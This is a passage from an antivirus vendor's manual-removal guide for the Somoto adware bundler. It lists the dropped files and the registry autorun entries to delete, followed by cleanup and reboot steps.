C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\scripts\kango\json.js (16 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\icons\shortcut.ico (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsp5E46.tmp\nsExec.dll (14 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\scripts\web_player\web_player.js (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\installer.js (11 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\scripts\kango\xhr.js (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\icons\tray.ico (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\scripts\stub.html (680 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\scripts\kango\event_listener.js (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\scripts\kango\utils.js (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\scripts\kango\io.js (751 bytes)
%Program Files% (x86)\YTAHelper\FireFox\content\YTAHelper_64.png (4 bytes)
%Program Files% (x86)\YTAHelper\FireFox\chrome.manifest (111 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsp3EF5.tmp\MoreInfo.dll (15 bytes)
%Program Files% (x86)\YTAHelper\YTAHelper.exe (32824 bytes)
%Program Files% (x86)\YTAHelper\FireFox\install.rdf (884 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsp3EF4.tmp (133285 bytes)
%Program Files% (x86)\YTAHelper\FireFox\content\overlay.js (13 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsp3EF5.tmp\AccDownload.dll (11667 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsp3EF5.tmp\nsProcess.dll (12 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsp3EF5.tmp\System.dll (23 bytes)
%Program Files% (x86)\YTAHelper\JSDriver\jsdrv.sys (1856 bytes)
C:\Users\Public\Documents\YTAHelper\JsDriver\Config.xml (1 bytes)
%Program Files% (x86)\YTAHelper\SPRemove.exe (17848 bytes)
%Program Files% (x86)\YTAHelper\yta_database1_0_0.json (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsp3EF5.tmp\jsdrv.exe (100669 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsp3EF5.tmp\nsExec.dll (14 bytes)
%Program Files% (x86)\YTAHelper\YTAHelper.dll (15168 bytes)
%Program Files% (x86)\YTAHelper\JSDriver\jsdrv.exe (100378 bytes)
%Program Files% (x86)\YTAHelper\FireFox\content\overlay.xul (203 bytes)
%Program Files% (x86)\YTAHelper\YTAHelper64.dll (17848 bytes)
%Program Files% (x86)\YTAHelper\FireFox\content\shopperpro_128.png (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsuF7B8.tmp\appshat.exe (13188 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsuF7B8.tmp\webplayer_installer.exe (8184 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsuF7B8.tmp\inetc.dll (808 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\AppsHat Mobile Apps\Uninstall.exe (164 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsuF7B7.tmp (10027 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsuF7B8.tmp\System.dll (23 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Install_11514\ins_postInst.exe (2815 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Install_11514\ins_yta.exe (30675 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\AppsHat\scripts\default_config.json (791 bytes)
C:\Users\"%CurrentUserName%"\Desktop\AppsHat.lnk (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\AppsHat\AppsHat.lnk (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\AppsHat\Uninstall.lnk (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\AppsHat\scripts\config.xml (819 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\AppsHat\WebPlayer.exe (204 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ROWYV75Q\config[1].json (778 bytes)
C:\ProgramData\ShopperPro\spbihe.js (435 bytes)
%Program Files% (x86)\XTab\web\img\googlelogo.png (7 bytes)
%Program Files% (x86)\XTab\web\js\jquery-1.11.0.min.js (4726 bytes)
%Program Files% (x86)\XTab\skin\btn.png (2 bytes)
%Program Files% (x86)\XTab\install.data (68 bytes)
%Program Files% (x86)\XTab\web\_locales\zh-CN\messages.json (3 bytes)
%Program Files% (x86)\XTab\web\_locales\en-US\messages.json (3 bytes)
%Program Files% (x86)\XTab\HPNotify.exe (18027 bytes)
%Program Files% (x86)\XTab\web\img\loading.gif (5 bytes)
%Program Files% (x86)\XTab\BrowerWatchFF.dll (23 bytes)
%Program Files% (x86)\XTab\web\_locales\es-419\messages.json (3 bytes)
%Program Files% (x86)\XTab\web\indexIE8.html (1816 bytes)
%Program Files% (x86)\XTab\web\js\library.js (4216 bytes)
%Program Files% (x86)\XTab\web\_locales\pt\messages.json (4 bytes)
%Program Files% (x86)\XTab\web\img\arrow.png (259 bytes)
%Program Files% (x86)\XTab\web\ver.txt (5 bytes)
%Program Files% (x86)\XTab\web\_locales\fr-BE\messages.json (3 bytes)
%Program Files% (x86)\XTab\skin\input_bk.png (2 bytes)
%Program Files% (x86)\XTab\web\_locales\pl\messages.json (3 bytes)
%Program Files% (x86)\XTab\web\_locales\it-IT\messages.json (4 bytes)
%Program Files% (x86)\XTab\skin\conf_back.png (1623 bytes)
%Program Files% (x86)\XTab\web\_locales\fr-CA\messages.json (3 bytes)
%Program Files% (x86)\XTab\web\img\weather\0.png (1 bytes)
%Program Files% (x86)\XTab\skin\btn_apply.png (6 bytes)
%Program Files% (x86)\XTab\skin\conf.xml (8 bytes)
%Program Files% (x86)\XTab\CmdShell.exe (1681 bytes)
%Program Files% (x86)\XTab\web\indexIE.html (1 bytes)
%Program Files% (x86)\XTab\web\_locales\ru-MO\messages.json (4 bytes)
%Program Files% (x86)\XTab\web\js\xagainit-ie8.js (3 bytes)
%Program Files% (x86)\XTab\skin\about_bk.png (1436 bytes)
%Program Files% (x86)\XTab\web\_locales\es-ES\messages.json (3 bytes)
%Program Files% (x86)\XTab\skin\main.xml (4 bytes)
%Program Files% (x86)\XTab\web\img\default_add_logo_hover.png (1 bytes)
%Program Files% (x86)\XTab\BrowserAction.dll (33992 bytes)
%Program Files% (x86)\XTab\skin\radio_2.png (3 bytes)
%Program Files% (x86)\XTab\msvcr110.dll (22156 bytes)
%Program Files% (x86)\XTab\searchProvider.xml (8 bytes)
%Program Files% (x86)\XTab\web\_locales\it-CH\messages.json (3 bytes)
%Program Files% (x86)\XTab\ProtectService.exe (5312 bytes)
%Program Files% (x86)\XTab\web\js\js.js (18 bytes)
%Program Files% (x86)\XTab\ffsearch_toolbar!1.0.0.1025.xpi (14 bytes)
%Program Files% (x86)\XTab\web\img\default_add_logo.png (1 bytes)
%Program Files% (x86)\XTab\skin\logo.png (5 bytes)
%Program Files% (x86)\XTab\web\js\xagainit2.0.js (3 bytes)
%Program Files% (x86)\XTab\web\data.html (20 bytes)
%Program Files% (x86)\XTab\web\js\xagainit.js (3 bytes)
%Program Files% (x86)\XTab\web\img\googlelogo2.png (1526 bytes)
%Program Files% (x86)\XTab\web\main.css (19 bytes)
%Program Files% (x86)\XTab\web\_locales\vi-VI\messages.json (4 bytes)
%Program Files% (x86)\XTab\web\_locales\ru\messages.json (4 bytes)
%Program Files% (x86)\XTab\web\img\icon48.png (3 bytes)
%Program Files% (x86)\XTab\skin\close.png (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nspF3A2.tmp\System.dll (23 bytes)
%Program Files% (x86)\XTab\web\img\logo32.ico (4 bytes)
%Program Files% (x86)\XTab\web\img\icon128.png (9 bytes)
%Program Files% (x86)\XTab\web\js\jquery.autocomplete.js (12 bytes)
%Program Files% (x86)\XTab\uninstall.exe (1343 bytes)
%Program Files% (x86)\XTab\skin\about.png (4 bytes)
%Program Files% (x86)\XTab\BrowerWatchCH.dll (23 bytes)
%Program Files% (x86)\XTab\web\_locales\fr-FR\messages.json (3 bytes)
%Program Files% (x86)\XTab\web\img\icon16.png (628 bytes)
%Program Files% (x86)\XTab\web\_locales\fr-CH\messages.json (3 bytes)
%Program Files% (x86)\XTab\skin\settings.png (5 bytes)
%Program Files% (x86)\XTab\web\img\default_logo.png (5 bytes)
%Program Files% (x86)\XTab\web\_locales\fr-LU\messages.json (3 bytes)
%Program Files% (x86)\XTab\web\js\ga.js (1568 bytes)
%Program Files% (x86)\XTab\web\js\common.js (2 bytes)
%Program Files% (x86)\XTab\web\_locales\tr-TR\messages.json (4 bytes)
%Program Files% (x86)\XTab\SupTab.dll (6812 bytes)
%Program Files% (x86)\XTab\web\js\ie8.js (156 bytes)
%Program Files% (x86)\XTab\IeWatchDog.dll (20 bytes)
%Program Files% (x86)\XTab\web\_locales\pt-BR\messages.json (4 bytes)
%Program Files% (x86)\XTab\web\img\google_trends.png (7 bytes)
%Program Files% (x86)\XTab\web\_locales\zh-TW\messages.json (3 bytes)
%Program Files% (x86)\XTab\skin\rigth_arrow.png (2 bytes)
%Program Files% (x86)\XTab\msvcp110.dll (17526 bytes)
%Program Files% (x86)\XTab\skin\radio_1.png (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsuFDA.tmp\D1989.dll (30 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsuFDA.tmp\04BB5BF911CA4097 (34773 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsuFDA.tmp\System.dll (23 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsuFD9.tmp (35306 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsuFDA.tmp\NK.lky (16 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsuFDA.tmp\DCytaiesmt_smtyc_setup.exe (380075 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\biclient.exe (8793 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\config.ini (97 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsj2636.tmp (6478 bytes)
Delete the following value(s) in the autorun key (How to Work with System Registry):
[HKCU\Software\Microsoft\Windows\CurrentVersion\Run]
"GOOBZOYouTubeAccelerator" = "%Program Files% (x86)\YouTube Accelerator\YouTubeAccelerator.exe /startup"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\RunOnce]
"network_adworkmedia_1" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Run]
"GOOBZOYouTubeAccelerator" = "%Program Files% (x86)\YouTube Accelerator\YouTubeAccelerator.exe"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Run]
"SPDriver" = "%Program Files% (x86)\ShopperPro\JSDriver\1486.0.0.0\jsdrv.exe"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run]
"SPDriver" = "%Program Files% (x86)\ShopperPro\JSDriver\1486.0.0.0\jsdrv.exe"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Run]
"AppsHat" = "C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\AppsHat\WebPlayer.exe"
Clean the Temporary Internet Files folder, which may contain infected files (How to clean Temporary Internet Files folder).
Reboot the computer.

*Manual removal may cause unexpected system behaviour and should be performed at your own risk.

Permalink

Back to the blog

e-mail

Google+

Twitter

Facebook

Application.Bundler.Somoto.I_7e067d4730

Our best antivirus yet!

Fresh new look. Faster scanning. Better protection.

Discover the new adaware antivirus 12

Our best antivirus yet

Application.Bundler.Somoto.I_7e067d4730

E-mail

Our best antivirus yet!

Fresh new look. Faster scanning. Better protection.

Discover the new adaware antivirus 12

Our best antivirus yet